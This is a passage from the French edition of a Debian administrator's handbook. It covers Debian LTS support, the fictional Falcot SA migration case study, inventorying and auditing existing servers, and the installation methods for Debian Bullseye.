Chaque version Stable a une durée de vie prévue d'environ 5 ans ; étant donné que les versions stables se succèdent au rythme approximatif d'une tous les 2 ans, il peut y avoir jusqu'à 3 versions supportées à un instant donné. Lorsqu'une nouvelle version stable est publiée, la précédente devient Oldstable et celle d'encore avant devient Oldoldstable.

Le support à long terme (Long Term Support, LTS) des versions de Debian est une initiative récente : des contributeurs individuels et des sociétés joignent leurs forces pour créer l'équipe Debian LTS. Les anciennes versions qui ne sont plus officiellement supportées par l'équipe de sécurité de Debian deviennent la responsabilité de cette nouvelle équipe.

L'équipe de sécurité de Debian s'occupe du support de sécurité de la version actuellement Stable ; elle s'occupe aussi de Oldstable, mais seulement pendant la durée nécessaire pour assurer qu'il y a au moins un an de chevauchement avec la version actuellement stable. Cela correspond approximativement à trois ans de support effectif pour chaque version. L'équipe Debian LTS prend alors la main pour assurer les deux dernières années de support de sécurité, de sorte que chaque version bénéficie d'au moins 5 ans de support et que les utilisateurs puissent migrer d'une version N à la version N+2, par exemple de Debian 9 Stretch à Debian 11 Bullseye.

→ https://wiki.debian.org/LTS

COMMUNITY Les sociétés qui parrainent l'effort LTS

Le support à long terme est une lourde responsabilité, parce que les volontaires ont tendance à éviter le travail perçu comme non enthousiasmant. Or, la fourniture de support de sécurité pour des logiciels vieux de 5 ans est, pour de nombreux contributeurs, nettement moins enthousiasmant que la mise en paquet de nouvelles versions amont ou le développement de nouvelles fonctionnalités.

Pour que ce projet prenne vie, il a donc fallu compter sur le fait que le support à long terme est particulièrement important pour les sociétés, et qu'elles seraient d'accord pour mutualiser le coût de ce support de sécurité.

Le projet a commencé en juin 2014 : certaines organisations ont permis à leurs employés de contribuer à temps partiel à Debian LTS, et d'autres ont préféré apporter leur soutien financier afin que des contributeurs Debian puissent être payés pour faire le travail qu'ils ne feraient pas gratuitement. La plupart des contributeurs Debian qui se sont impliqués dans le projet LTS se sont rejoints pour mettre en place une offre de financement claire gérée par Freexian (la société de Raphaël Hertzog) :

→ https://www.freexian.com/services/debian-lts.html

Dans l'équipe LTS, les volontaires travaillent sur les paquets qui les intéressent alors que les contributeurs payés donnent la priorité aux paquets qui intéressent particulièrement leurs parrains.

Le projet est toujours à la recherche de nouveaux parrains : Et si c'était votre société ? Pouvez-vous libérer une partie du temps d'un employé pour travailler sur le support à long terme ? Pouvez-vous allouer un petit budget pour le support de sécurité ?

→ https://wiki.debian.org/LTS/Funding

Chapitre 2. Présentation de l'étude de cas

Dans le cadre de ce livre, vous êtes administrateur système d'une PME en pleine croissance. En collaboration avec votre direction, vous venez de redéfinir le plan directeur du système informatique pour l'année qui vient et avez choisi de migrer progressivement vers Debian pour des raisons tant pratiques qu'économiques. Détaillons ce qui vous attend…

Nous avons imaginé cette étude de cas pour aborder tous les services d'un système d'information moderne couramment utilisés dans une société de taille moyenne. Après la lecture de ce livre, vous disposerez de tous les éléments nécessaires pour effectuer vos propres installations de serveurs et voler de vos propres ailes. Vous aurez aussi appris comment trouver efficacement des informations en cas de blocage.

2.1. Des besoins informatiques en forte hausse

Falcot SA est un fabricant de matériel audio haut de gamme. C'est une PME en forte croissance qui dispose de deux sites : Saint-Étienne et Montpellier. Le premier compte environ 150 employés ; il héberge l'usine de fabrication des enceintes, un laboratoire de conception et les bureaux de toute l'administration. Le site de Montpellier, plus petit, n'abrite qu'une cinquantaine de collaborateurs et produit les amplificateurs.

NOTE Société fictive de l'étude de cas

La société Falcot SA étudiée ici est totalement fictive. Toute ressemblance avec une société réelle est purement fortuite. De même, certaines données des exemples parsemant ce livre peuvent être fictives.

Le système d'information peine à suivre la croissance de l'entreprise et il a été convenu de le redéfinir entièrement pour atteindre différents objectifs fixés par la direction :

- infrastructure moderne capable de monter en puissance facilement ;

- baisse du coût des licences logicielles grâce à l'emploi de logiciels open source ;

- mise en place d'un site de commerce électronique, voire de B2B (business to business — il s'agit de la mise en relation de systèmes d'information entre différentes entreprises, par exemple un fournisseur et ses clients) ;

- amélioration importante de la sécurité en vue de mieux protéger les secrets industriels relatifs aux nouveaux produits.

Derrière ces objectifs se dessine une refonte globale du système d'information.

2.2. Plan directeur

Avec votre collaboration, la direction informatique a réalisé une étude un peu plus poussée, permettant d'identifier quelques contraintes et de définir un plan de migration vers le système open source retenu, Debian.

Parmi les contraintes, il faut noter que la comptabilité utilise un logiciel spécifique ne fonctionnant que sous Microsoft Windows™. Le laboratoire utilise quant à lui un logiciel de conception assistée par ordinateur fonctionnant sous OS X™.

Figure 2.1. Aperçu global du réseau de Falcot SA

Le passage vers Debian sera bien entendu progressif ; une PME, aux moyens limités, ne peut pas tout changer rapidement. Dans un premier temps, c'est le personnel informatique qui doit être formé à l'administration de Debian. Les serveurs seront ensuite basculés, en commençant par l'infrastructure réseau (routeur, pare-feu, etc.) pour enchaîner sur les services utilisateurs (partage de fichiers, Web, SMTP, etc.). Ce n'est qu'ensuite que les ordinateurs de bureau seront progressivement migrés sous Debian, pour que chaque service puisse être formé (en interne) lors du déploiement du nouveau système.

2.3. Pourquoi une distribution GNU/Linux ?

B.A.-BA Linux ou GNU/Linux ?

Linux, comme vous le savez déjà, n'est qu'un noyau. Les expressions « distribution Linux » ou « système Linux » sont donc incorrectes : il s'agit en réalité de distributions ou de systèmes basés sur Linux. Ces expressions omettent de mentionner les logiciels qui complètent toujours ce noyau, parmi lesquels les programmes développés par le projet GNU. Richard Stallman, créateur de ce dernier, souhaite bien entendu que l'expression « GNU/Linux » soit systématiquement employée, afin que l'importance de la contribution du projet GNU soit mieux reconnue et ses idées de liberté mieux véhiculées.

Debian a choisi de suivre cette recommandation et nomme donc ses distributions en mentionnant GNU. Ainsi, la dernière version se nomme Debian GNU/Linux 11.

Plusieurs facteurs ont dicté ce choix. L'administrateur système, qui connaissait cette distribution, l'a fait inclure dans les candidats à la refonte du système d'information. Des conditions économiques difficiles et une compétition féroce ont limité le budget de cette opération, malgré son importance capitale pour l'avenir de l'entreprise. C'est pourquoi les solutions open source ont rapidement séduit : plusieurs études récentes les donnent bien moins onéreuses que les solutions propriétaires tout en assurant une qualité de service équivalente voire supérieure, à condition d'avoir du personnel qualifié pour leur administration.

EN PRATIQUE Le coût total de possession

Le Total Cost of Ownership (TCO) est la somme d'argent dépensée suite à la possession ou à l'acquisition d'un bien : dans le cas présent, il s'agit de systèmes d'exploitation. Ce prix inclut l'éventuelle licence, la formation du personnel au nouveau logiciel, le changement de toute machine trop peu puissante, les réparations supplémentaires, etc. Tout ce qui découle directement du choix initial est pris en compte.

Ce TCO, qui varie selon les critères retenus dans son évaluation, est rarement significatif par lui-même. En revanche, il est très intéressant de comparer des TCO calculés en suivant les mêmes règles. Cette grille d'appréciation revêt donc une importance capitale et il est facile de la manipuler pour en tirer une conclusion prédéfinie. Ainsi, le TCO d'une seule machine n'a pas de sens puisque le coût d'un administrateur se répercute sur la quantité totale de postes qu'il encadre, nombre qui dépend évidemment du système d'exploitation et des outils proposés.

Parmi les systèmes d'exploitation libres, le service informatique a recensé les BSD libres (dont OpenBSD, FreeBSD et NetBSD), GNU Hurd et les distributions Linux. GNU Hurd, qui n'a pas encore publié de version stable, fut immédiatement rejeté. Le choix est moins simple entre BSD et Linux. Les premiers sont très méritants, notamment sur les serveurs. Le pragmatisme pousse pourtant à opter pour un système Linux car sa base installée et sa popularité, bien plus importantes, ont de nombreuses conséquences positives. Il est ainsi plus facile de trouver du personnel qualifié pour administrer des machines Linux que des techniciens rompus à BSD. Par ailleurs, la prise en charge des matériels récents est plus rapide sous Linux que sous BSD (même si les deux se suivent souvent de peu). Enfin, les distributions Linux sont souvent plus adaptées à l'installation d'interfaces graphiques conviviales, indispensables aux utilisateurs débutants lors de la migration de toutes les machines de bureau vers ce nouveau système.

ALTERNATIVE à Debian GNU/kFreeBSD

Depuis Debian 6 Squeeze, il est possible d'utiliser Debian avec un noyau FreeBSD sur les PC 32 et 64 bits : c'est ce que proposent les architectures kfreebsd-i386 et kfreebsd-amd64. Bien que n'étant pas des architectures « officielles » (elles sont hébergées sur un miroir séparé — ports.debian.org) , elles proposent d'ores et déjà d'environ 60% des logiciels empaquetés par Debian.

Ces architectures peuvent s'avérer un choix pertinent pour les administrateurs de Falcot SA notamment pour un pare-feu (le noyau en supporte trois différents : IPF, IPFW, PF) ou pour un NAS (où le système de fichier ZFS a fait ses preuves).

2.4. Pourquoi la distribution Debian ?

Le choix de Linux entériné, il fallait opter pour une offre précise. À nouveau, les critères à considérer abondent. La distribution retenue doit pouvoir fonctionner plusieurs années, car la migration de l'une à l'autre représente des coûts supplémentaires (moins élevés toutefois que s'il s'agissait d'un système totalement différent, comme Windows ou OS X).

La pérennité est donc primordiale et il faut une garantie d'existence et de publication régulière de correctifs de sécurité pendant plusieurs années. Le calendrier de mises à jour compte lui aussi : avec son important parc informatique, Falcot SA ne peut mener cette opération complexe trop souvent. Le service informatique exige pourtant d'employer la dernière version stable de la distribution, bénéficiant de la meilleure assistance technique et aux correctifs de sécurité assurés. En effet, les mises à jour de sécurité ne sont généralement assurées que pour une durée limitée sur les anciennes versions d'une distribution.

Enfin, pour des raisons d'homogénéité du parc et de facilité d'administration, il est demandé que la même distribution assure le fonctionnement des serveurs et des PC de bureau.

2.4.1. Distributions communautaires et commerciales

On trouve deux grandes catégories de distributions Linux : les commerciales et les communautaires. Les premières, développées par des entreprises, sont vendues associées à des services. Les secondes sont élaborées suivant le même modèle de développement ouvert que les logiciels libres dont elles sont constituées.

Une distribution commerciale aura donc tendance à publier de nouvelles versions assez fréquemment pour mieux en commercialiser les mises à jour et services associés. Son avenir est directement lié au succès commercial de son entreprise et beaucoup ont déjà disparu (Caldera Linux, StormLinux, Mandriva Linux, etc.).

Une distribution communautaire ne suit quant à elle aucun planning. À l'instar du noyau Linux, les nouvelles versions sortent lorsqu'elles sont stables, jamais avant. Sa survie est garantie tant qu'il y aura assez de développeurs individuels ou de sociétés tierces pour la faire vivre.

Une comparaison des diverses distributions Linux a fait retenir Debian pour de nombreuses raisons :

- C'est une distribution communautaire, au développement assuré indépendamment de toute contrainte commerciale ; ses objectifs sont donc essentiellement d'ordre technique, ce qui semble favoriser la qualité globale du produit.

- De toutes les distributions communautaires, c'est la plus importante à tout point de vue : en nombre de contributeurs, en nombre de logiciels disponibles, en années d'existence. La taille de sa communauté représente évidemment un indiscutable gage de pérennité.

- Statistiquement, ses nouvelles versions sortent tous les 18 à 24 mois, et elles bénéficient d'un support pendant 5 ans ; ce calendrier convient aux administrateurs.

- Une enquête auprès de plusieurs sociétés de services françaises spécialisées dans le logiciel libre a montré que toutes proposent une assistance technique pour Debian ; c'est même pour beaucoup d'entre elles la distribution retenue en interne. Cette diversité de fournisseurs potentiels est un atout majeur pour l'indépendance de Falcot SA.

- Enfin, Debian est disponible sur une multitude d'architectures, dont ppc64el pour les processeurs OpenPOWER ; il sera donc possible de l'installer sur les serveurs IBM les plus récents de Falcot SA.

EN PRATIQUE Le support à long terme

Le projet de support à long terme (Long Term Support ou LTS) a démarré en 2014, et vise à fournir 5 ans de support de sécurité à toutes les versions stables de Debian. Comme ce support est important principalement pour les organisations qui utilisent de vastes déploiements, le projet essaie de mettre en commun les ressources de sociétés qui utilisent Debian.

→ https://wiki.debian.org/LTS

Falcot SA n'est pas une société suffisamment importante pour dédier une partie du temps d'un employé pour contribuer au projet LTS ; la société a donc choisi de s'abonner au contrat LTS de Freexian, et fournit ainsi un support financier. Grâce à cela, les administrateurs de Falcot savent que les paquets qu'ils utilisent seront traités en priorité, et ils ont un contact direct avec l'équipe LTS en cas de problème.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Une fois Debian retenue, il reste à choisir la version à employer. Voyons pourquoi les administrateurs ont tranché en faveur de Debian Bullseye.

2.5. Pourquoi Debian Bullseye ?

Chaque nouvelle version de Debian fait ses débuts sous la forme d'une distribution en évolution perpétuelle, nommée « Testing ». Mais au moment où vous lisez ces lignes, Debian Bullseye est la dernière version « Stable » en date.

Le choix de Debian Bullseye se justifie bien sûr par le fait que tout administrateur soucieux de la qualité de ses serveurs s'orientera naturellement vers la version stable de Debian. Même si la version stable précédente pourrait encore être supportée pendant un certain temps, les administrateurs de Falcot ne la retiennent pas car la période de support ne va pas durer suffisamment longtemps. En outre, la dernière version apporte de nouvelles fonctionnalités qui les intéressent.

Chapitre 3. Prise en compte de l'existant et migration

Toute refonte du système d'information doit se baser sur l'existant pour réexploiter au maximum les ressources disponibles et garantir l'interopérabilité des différents éléments constituant le système. Cette étude fera apparaître une trame générique, à suivre dans chaque migration d'un service sous Linux.

3.1. Coexistence en environnement hétérogène

Debian s'intègre très bien dans tous les types d'environnements existants et cohabite avec tous les systèmes d'exploitation. Cette quasi parfaite harmonie provient des pressions du marché qui contraignent les éditeurs à développer des logiciels respectueux des normes et standards, donc avec lesquels les autres programmes, libres ou pas, serveurs comme clients, peuvent interagir.

3.1.1. Intégration avec des machines Windows

La prise en charge de SMB/CIFS par Samba assure une très bonne communication dans un contexte Windows. Il sert des fichiers et des files d'impression aux clients Windows et intègre des logiciels grâce auxquels une machine Linux utilisera des ressources publiées par des serveurs Windows.

OUTIL Samba

La dernière version de Samba peut remplacer la plupart des fonctionnalités de Windows, depuis celles d'un simple serveur Windows NT (authentification, partage de fichiers et d'imprimantes, téléchargement de pilotes d'imprimantes, DFS, etc.) aux plus avancées (un contrôleur de domaines compatible avec Active Directory).

3.1.2. Intégration avec des machines macOS

Les machines macOS savent fournir et utiliser des services réseau comme le partage de fichiers et d'imprimantes. Ces services sont annoncés sur le réseau local, ce qui permet aux autres machines de les découvrir et de les exploiter sans aucune configuration manuelle. Bonjour est l'implémentation d'Apple du protocole Zeroconf qui rend tout cela possible. Debian inclut une autre implémentation, Avahi, qui fournit les mêmes fonctionnalités.

Dans l'autre sens, le démon Netatalk peut être employé pour faire office de serveur de fichiers à destination des machines macOS du réseau. Il implémente le protocole AFP (Apple Filing Protocol, maintenant devenu AppleShare) ainsi que les notifications nécessaires pour que le serveur puisse être identifié automatiquement par les clients macOS.

Les réseaux Mac OS plus anciens (avant OS X) utilisaient un protocole différent appelé AppleTalk. Pour des environnements avec de telles machines, Netatalk sait également fournir ce protocole (en fait, Netatalk était initialement une réimplémentation de ce dernier). Il assure les fonctionnalités de serveur de fichiers, de queues d'impression, ainsi que de serveur de temps (synchronisation horaire). Ses fonctionnalités de routeur permettent de l'interconnecter avec des réseaux AppleTalk.

3.1.3. Intégration avec d'autres machines Linux/Unix

Enfin, NFS (Network File System) et NIS (Network Information Service) garantiront les interactions avec des systèmes Unix. NFS assure la fonctionnalité de serveur de fichiers, tandis que NIS permet de créer un annuaire des utilisateurs. Signalons également que la couche d'impression BSD, employée par la majorité des Unix, permet aussi de partager des files d'impression.

Figure 3.1. Cohabitation de Debian avec OS X, Windows et les systèmes Unix

3.2. Démarche de migration

Pour chaque ordinateur à migrer, il faut suivre une démarche garantissant une continuité dans les services offerts. Quel que soit le système d'exploitation utilisé, ce principe ne change pas.

3.2.1. Recenser et identifier les services

Aussi simple qu'elle paraisse, cette étape est indispensable. Un administrateur sérieux connaît vraisemblablement les rôles principaux de chaque serveur, mais ceux-ci évoluent et quelques utilisateurs expérimentés auront parfois installé des services « sauvages ». Connaître leur existence vous permettra au moins de décider de leur sort au lieu de les supprimer par mégarde.

À ce titre, il est souhaitable d'informer vos utilisateurs de votre projet quelque temps avant la migration effective du serveur. Pour les impliquer dans le projet, il pourra être utile d'installer sur les postes bureautiques les logiciels libres les plus courants qu'ils seront amenés à retrouver lors de la migration des postes de travail sous Debian ; on pense bien entendu à LibreOffice et aux logiciels de la suite Mozilla.

3.2.1.1. Réseau et processus

L'outil nmap (paquet Debian du même nom) identifiera rapidement les services Internet hébergés par une machine reliée au réseau sans même nécessiter de s'y connecter. Il suffit d'invoquer la commande suivante sur une autre machine connectée au même réseau :

$ nmap mirwiz

Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-29 14:41 CEST

Nmap scan report for mirwiz (192.168.1.104)

Host is up (0.00062s latency).

Not shown: 992 closed ports

PORT     STATE SERVICE

22/tcp   open  ssh

25/tcp   open  smtp

80/tcp   open  http

111/tcp  open  rpcbind

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

5666/tcp open  nrpe

9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVE Utiliser ss pour trouver la liste des services disponibles

Sur une machine Linux, la commande ss-antpu dresse la liste des sessions TCP actives ou en attente ainsi que des ports UDP que les programmes actifs écoutent. Cela facilite le recensement des services proposés sur le réseau.

POUR ALLER PLUS LOIN IPv6

Certaines commandes réseau peuvent travailler en IPv4 ou en IPv6. C'est notamment le cas des commandes nmap et ss, mais aussi d'autres comme route ou ip. La convention est que ce comportement est déclenché par l'option de ligne de commande -6.

Si le serveur est une machine Unix offrant un compte shell aux utilisateurs, il est intéressant de déterminer si des processus s'exécutent en tâche de fond, en l'absence de leur propriétaire. La commande ps auxw affiche tous les processus et leur identifiant utilisateur associé. En croisant ces informations avec la sortie des commandes who ou w donnant la liste des utilisateurs connectés, il est possible de retrouver d'éventuels serveurs sauvages ou des programmes fonctionnant en tâche de fond. La consultation des tables de processus planifiés (crontabs) fournira souvent des renseignements intéressants sur les fonctions remplies par le serveur (l'explication complète des commandes de cron se trouve dans la section « Planification de tâches » du Chapitre 9, Services Unix).

Dans tous les cas, il est indispensable de prévoir une sauvegarde du serveur : elle permettra de récupérer des informations a posteriori, quand les utilisateurs feront état de problèmes concrets dus à la migration.

3.2.2. Conserver la configuration

Il convient de conserver la configuration de chaque service identifié afin de pouvoir installer l'équivalent sur le serveur mis à jour. Le strict minimum est de faire une copie de sauvegarde des fichiers de configuration.

Pour des machines Unix, la configuration se trouve habituellement sous /etc/ mais il se peut qu'elle soit placée dans un sous-répertoire de /usr/local/. C'est le cas lorsqu'un logiciel est installé depuis ses sources plutôt qu'avec un paquet. On peut même la rencontrer, dans certains cas, sous /opt/.

Pour les services gérant des données (comme les bases de données), il est fortement recommandé d'exporter celles-ci dans un format standard, plus facile à reprendre par le nouveau logiciel. Un tel format est généralement en mode texte et documenté : il s'agira par exemple d'un dump SQL pour une base de données et d'un fichier LDIF pour un serveur LDAP.

Figure 3.2. Sauvegarde des bases de données

Chaque logiciel serveur est différent et il est impossible de détailler tous les cas existants. Reportez-vous aux documentations du logiciel actuel et du nouveau logiciel pour identifier les portions exportables, puis réimportables, ainsi que celles qui nécessiteront un travail manuel. La lecture de ce livre vous éclairera déjà sur la configuration des principaux logiciels serveurs sous Linux.

3.2.3. Prendre en main un serveur Debian existant

Pour en reprendre efficacement l'administration, on pourra analyser une machine déjà animée par Debian.

Le premier fichier à vérifier est /etc/debian_version, qui contient habituellement le numéro de version du système Debian installé (il fait partie du paquet base-files). S'il indiquecodename/sid, c'est que le système a été mis à jour avec des paquets provenant d'une de ces deux distributions en développement.

Le programme apt-show-versions (du paquet Debian éponyme) consulte la liste des paquets installés et identifie les versions disponibles. aptitude permet aussi d'effectuer ces tâches, d'une manière moins systématique.

Un coup d'œil au fichier /etc/apt/sources.list (et au répertoire /etc/apt/sources.list.d/) montrera la provenance probable des paquets Debian déjà installés. Si beaucoup de sources inconnues apparaissent, l'administrateur pourra choisir de réinstaller complètement l'ordinateur pour assurer une compatibilité optimale avec les logiciels fournis par Debian.

Ce fichier sources.list est souvent un bon indicateur : la majorité des administrateurs gardent au moins en commentaires les sources APT employées par le passé. Mais il est toujours possible que des sources employées par le passé aient été supprimées, voire que l'ancien administrateur ait installé manuellement (à l'aide de la commande dpkg) des paquets téléchargés sur Internet. Dans ce cas, la machine trompe par son apparence de système Debian « standard ». C'est pourquoi il convient d'être attentif à tout indice pouvant trahir la présence de paquets externes (apparition de fichiers .deb dans des répertoires inhabituels, numéros de versions de paquet dotés d'un suffixe particulier représentant l'origine du paquet — comme ubuntu ou lmde, etc.).

De même, il est intéressant d'analyser le contenu du répertoire /usr/local/, prévu pour contenir des programmes compilés et installés manuellement. Répertorier les logiciels installés de cette manière est riche d'enseignements, car cela incite à s'interroger sur la raison justifiant le non-emploi du paquet Debian correspondant — si un tel paquet existe.

APERÇU cruft/cruft-ng, debsums et apt-show-versions

Les paquets cruft et cruft-ng permettent de répertorier tous les fichiers présents sur le disque qui ne sont affectés à aucun paquet. Ils disposent de quelques filtres (plus ou moins efficaces et plus ou moins à jour) pour éviter d'afficher certains de ces fichiers qui existent légitimement (fichiers générés par les paquets Debian, ou fichiers de configuration gérés en dehors du contrôle de dpkg, etc.).

Attention à ne pas supprimer aveuglément tout ce que cruft et cruft-ng pourraient lister !

Le paquet debsums permet de vérifier la somme de contrôle MD5 de chaque fichier installé par un paquet par rapport à une somme de contrôle de référence et peut aider à déterminer quels fichiers ont pu être modifiés (voir TIP Finding changed files). Sachez que certains fichiers (les fichiers générés par les paquets Debian, ou les fichiers de configuration générés qui ne sont pas gérés par dpkg, etc.) ne sont pas vérifiés.

Le paquet apt-show-versions fournit un outil pour vérifier les paquets installés sans source et peut aider à déterminer les paquets de tiers (voir Section 6.7.3.1, « Paquets retirés de l'archive Debian »).

3.2.4. Installer Debian

Toutes les informations relatives au serveur actuel étant maintenant connues, il est possible de mettre celui-ci hors service et d'y installer Debian.

Pour en choisir la version adéquate, il faut connaître l'architecture de l'ordinateur. S'il s'agit d'un PC, ce sera vraisemblablement amd64 (les anciens PC peuvent nécessiter l'usage de l'architecture i386). Dans les autres cas, on pourra restreindre les possibilités en fonction du système précédemment employé.

Le Tableau 3.1 ne prétend pas être exhaustif mais pourra vous aider. Notez qu'il liste des architectures Debian qui ne sont plus supportées dans la version stable. Dans tous les cas, la documentation d'origine de l'ordinateur vous renseignera de manière plus certaine.

Tableau 3.1. Correspondance entre système d'exploitation et architecture

Système d'exploitation

Architecture(s)

DEC Unix (OSF/1)

alpha, mipsel

HP Unix

ia64, hppa

IBM AIX

powerpc

Irix

mips

OS X

amd64, powerpc, i386

z/OS, MVS

s390x, s390

Solaris, SunOS

sparc, i386, m68k

Ultrix

mips

VMS

alpha

Windows 95/98/ME

i386

Windows NT/2000

i386, alpha, ia64, mipsel

Windows XP / Windows Server 2008

i386, amd64, ia64

Windows RT

armel, armhf, arm64

Windows Vista / Windows 7-8-10

i386, amd64

MATÉRIEL PC 64 bits ou PC 32 bits

La plupart des ordinateurs récents sont pourvus de processeurs 64 bits d'Intel ou d'AMD, compatibles avec les anciens processeurs 32 bits : les logiciels compilés pour l'architecture « i386 » fonctionneront donc. En revanche, ce mode compatibilité ne met pas à profit les capacités de ces nouveaux processeurs. C'est pourquoi Debian dispose de l'architecture « amd64 », qui gère les processeurs récents d'AMD ainsi que les processeurs « em64t » d'Intel (y compris la plupart des processeurs de la famille « Core »).

3.2.5. Installer et configurer les services sélectionnés

Une fois la distribution Debian installée, il s'agit d'installer et de configurer chacun des services que cet ordinateur doit héberger. La nouvelle configuration devra prendre en compte la précédente pour assurer une transition en douceur. Toutes les informations récoltées dans les deux premières étapes sont utiles pour mener à bien cette transition.

Figure 3.3. Installer les services sélectionnés

Avant de se lancer corps et âme dans cet exercice, il est fortement recommandé de consulter le reste de ce livre, grâce auquel vous aurez une idée plus précise sur la manière de configurer les services prévus.

Chapitre 4. Installation

Pour utiliser la distribution Debian, il faut l'avoir installée sur un ordinateur, tâche complexe prise en charge par le programme debian-installer. Une bonne installation implique de nombreuses opérations. Ce chapitre les passe en revue dans l'ordre dans lequel elles sont habituellement effectuées.

B.A.-BA Cours de rattrapage en annexe

L'installation d'un ordinateur est toujours plus simple lorsque l'on est familier avec son fonctionnement. Si ce n'est pas votre cas, il est peut-être temps de faire un détour par l'Annexe B, Petit cours de rattrapage avant de revenir à la lecture de ce chapitre capital.

L'installateur de Bullseye est toujours basé sur debian-installer. Sa conception modulaire le rend opérationnel dans de nombreux scénarios et lui a permis d'évoluer pour s'adapter aux inévitables changements. Malgré les nombreuses contraintes imposées par la prise en charge d'une large palette d'architectures, cet installateur est très accessible au débutant puisqu'il assiste l'utilisateur à chaque étape du processus. La détection automatique du matériel, le partitionnement assisté et l'interface graphique ont résolu l'essentiel des problèmes que les néophytes pouvaient rencontrer dans les premières années de Debian.

L'installation requiert 256 Mo de mémoire vive et au moins 2 Go d'espace disque. Tous les ordinateurs de Falcot répondent largement à ces critères. Notons toutefois que ces chiffres s'appliquent à l'installation d'un système très limité dénué d'un bureau graphique. Il vaut mieux prévoir un minimum de 2 Go de mémoire vive et de 10 Go d'espace disque pour un poste bureautique de base.

ATTENTION Mise à jour depuis Buster

Si vous avez déjà Debian Bullseye installée sur votre ordinateur, ce chapitre n'est pas pour vous ! En effet, contrairement à d'autres distributions, Debian permet la mise à jour du système d'une version à la suivante sans passer par une réinstallation. Celle-ci, en plus de ne pas être nécessaire, serait même dangereuse, puisqu'elle écraserait probablement les programmes installés au préalable.

Cette démarche de migration sera décrite dans la Section 6.7, « Mise à jour d'une distribution à la suivante ».

La mise à jour directe à partir des systèmes Debian plus anciens n'est plus supportée. Dans ce cas, vous devez progressivement effectuer une mise à jour vers la version stable qui a suivi votre version de Debian, et ainsi de suite. Les versions précédentes de ce livre vous aiderons à faire cela.

4.1. Méthodes d'installation

L'installation d'un système Debian est possible depuis divers types de supports, pour peu que le BIOS/UEFI (voir NOTE UEFI, le remplaçant moderne du BIOS) de la machine le permette. On pourra ainsi amorcer grâce à un CD-Rom, une clé USB, voire à travers un réseau.

4.1.1. Installation depuis un CD-Rom/DVD-Rom

Le support d'installation le plus employé est le CD-Rom (ou le DVD-Rom, qui se comporte exactement de la même manière) : l'ordinateur s'amorce sur ce dernier et le programme d'installation prend la main.

Divers types de CD-Rom ciblent chacun des usages différents. netinst (installation réseau) contient l'installateur et le système de base de Debian ; tous les autres logiciels seront téléchargés. Son « image », c'est-à-dire le système de fichiers ISO-9660 présentant le contenu exact du disque, n'occupe pas plus de 150 à 280 Mo (selon l'architecture). À l'opposé, le jeu complet de disques propose tous les paquets et permet d'installer le système sur un ordinateur n'ayant pas accès à Internet — il nécessite environ 19 DVD-Rom (ou 4 disques Blu-ray). Il n'y a plus de jeu de CD-Rom officiels car il y en avait une énorme quantité, rarement utilisés, et car la plupart des ordinateurs sont capables de lire des DVD-Rom aussi bien que des CD-Rom. Mais les logiciels sont répartis sur les disques en fonction de leur popularité et de leur importance ; le premier suffira donc à la majorité des installations car il contient les logiciels les plus utilisés.

Il existe un autre type d'image, mini.iso, qui n'est disponible que comme un sous-produit de l'installateur. Cette image contient seulement le strict minimum requis pour configurer le réseau, tout le reste est téléchargé lors de l'installation (y compris d'autres portions du programme d'installation lui-même, ce qui explique que ces images ont tendance à ne plus fonctionner lorsqu'une nouvelle version du programme d'installation est publiée). Ces images se trouvent sur les miroirs Debian habituels, dans le dossier dists/release/main/installer-arch/current/images/netboot/.

ASTUCE Disques multi-architectures

La plupart des CD-Rom et DVD-Rom d'installation correspondent à une seule architecture matérielle. Si l'on souhaite télécharger les images complètes, il faudra donc prendre soin de choisir celles qui correspondent à l'architecture matérielle de l'ordinateur sur lequel on souhaite les utiliser.

Quelques images CD-Rom/DVD-Rom présentent la particularité de fonctionner sur plusieurs architectures. On trouve ainsi une image de CD-Rom combinant les images netinst des architectures i386 et amd64.

Pour se procurer des CD-Rom Debian, on peut bien sûr télécharger et graver leur image. Il est aussi possible de les acheter et de faire par la même occasion un petit don au projet. Consultez le site web pour connaître la liste des vendeurs et des sites de téléchargement des images de ces DVD-Rom.

→ https://www.debian.org/CD/

4.1.2. Démarrage depuis une clé USB

Comme la plupart des ordinateurs sont capables de démarrer depuis un périphérique USB, il est également possible d'installer Debian à partir d'une clé USB (qui n'est rien de plus qu'un petit disque à mémoire flash).

Le manuel d'installation explique comment créer une clé USB contenant debian-installer. La procédure est très simple puisque les images ISO des architectures i386 et amd64 sont des images hybrides qui peuvent démarrer aussi bien depuis un CD-Rom que depuis une clé USB.

Il faut tout d'abord identifier le nom de périphérique de la clé USB (ex : /dev/sdb). Le plus simple pour cela est de consulter les messages émis par le noyau à l'aide de la commande dmesg. Ensuite, il faut copier l'image ISO préalablement récupérée (par exemple debian-11.0.0-amd64-netinst.iso) avec la commande cat debian-11.0.0-amd64-netinst.iso >/dev/sdb; sync. Cette commande requiert les droits administrateurs car elle accède directement à la clé USB et écrase aveuglément son contenu.

Une explication plus détaillée est disponible dans le manuel de l'installateur. Elle couvre notamment une méthode alternative (et plus complexe) pour préparer votre clé USB mais qui vous permet de personnaliser les options par défaut de l'installateur (celles consignées dans la ligne de commande du noyau).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. Installation par amorçage réseau

De nombreux BIOS permettent d'amorcer directement sur le réseau en téléchargeant un noyau et un système de fichiers minimal. Cette méthode (que l'on retrouve sous différents noms, notamment PXE ou boot TFTP) peut être salvatrice si l'ordinateur ne dispose pas de lecteur de CD-Rom ou si le BIOS ne peut amorcer sur un tel support.

Cette méthode d'initialisation fonctionne en deux étapes. Premièrement, lors du démarrage de l'ordinateur, le BIOS (ou la carte réseau) émet une requête BOOTP/DHCP pour obtenir une adresse IP de manière automatique. Lorsqu'un serveur BOOTP ou DHCP renvoie une réponse, celle-ci inclut un nom de fichier en plus des paramètres réseau. Après avoir configuré le réseau, l'ordinateur client émet alors une requête TFTP (Trivial File Transfer Protocol) pour obtenir le fichier qui lui a été indiqué. Ce fichier récupéré, il est exécuté comme s'il s'agissait d'un chargeur de démarrage, ce qui permet de lancer le programme d'installation Debian — celui-ci s'exécute alors comme s'il provenait d'un disque dur, d'un CD-Rom ou d'une clé USB.

Tous les détails de cette méthode sont disponibles dans le guide d'installation (section « Préparer les fichiers pour amorcer depuis le réseau avec TFTP »).

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

